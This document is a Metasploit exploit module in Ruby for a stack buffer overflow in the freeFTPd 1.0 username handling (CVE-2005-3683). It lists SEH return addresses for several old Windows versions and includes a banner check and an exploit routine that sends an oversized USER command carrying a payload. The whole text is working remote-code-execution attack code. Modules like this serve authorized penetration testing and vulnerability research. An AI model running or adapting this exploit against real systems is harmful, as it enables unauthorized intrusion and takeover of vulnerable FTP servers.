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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Ftp
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'freeFTPd 1.0 Username Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in the freeFTPd
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          multi-protocol file transfer service. This flaw can only be
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          exploited when logging has been enabled (non-default).
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        },
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        'Author' => 'MC',
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2005-3683'],
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          [ 'OSVDB', '20909'],
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          [ 'BID', '15457']
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        ],
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        'Privileged' => false,
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        'Payload' => {
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          'Space' => 800,
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          'BadChars' => "\x00\x20\x0a\x0d",
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => %w{win},
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        'Targets' => [
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          [
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            'Windows 2000 English ALL',
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            {
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              'Platform' => 'win',
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              'Ret' => 0x75022ac4,
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            },
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          ],
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          [
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            'Windows XP Pro SP0/SP1 English',
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            {
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              'Platform' => 'win',
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              'Ret' => 0x71aa32ad,
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            },
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          ],
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          [
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            'Windows NT SP5/SP6a English',
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            {
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              'Platform' => 'win',
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              'Ret' => 0x776a1799,
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            },
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          ],
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          [
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            'Windows 2003 Server English',
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            {
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              'Platform' => 'win',
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              'Ret' => 0x7ffc0638,
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            },
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          ],
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        ],
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        'DisclosureDate' => '2005-11-16',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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  end
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  def check
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    connect
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    disconnect
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    if (banner =~ /freeFTPd 1\.0/)
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      return Exploit::CheckCode::Appears
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    connect
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    print_status("Trying target #{target.name}...")
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    buf = rand_text_english(1816, payload_badchars)
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    seh = generate_seh_payload(target.ret)
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    buf[1008, seh.length] = seh
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    send_cmd(['USER', buf], false)
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    handler
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    disconnect
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  end
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end
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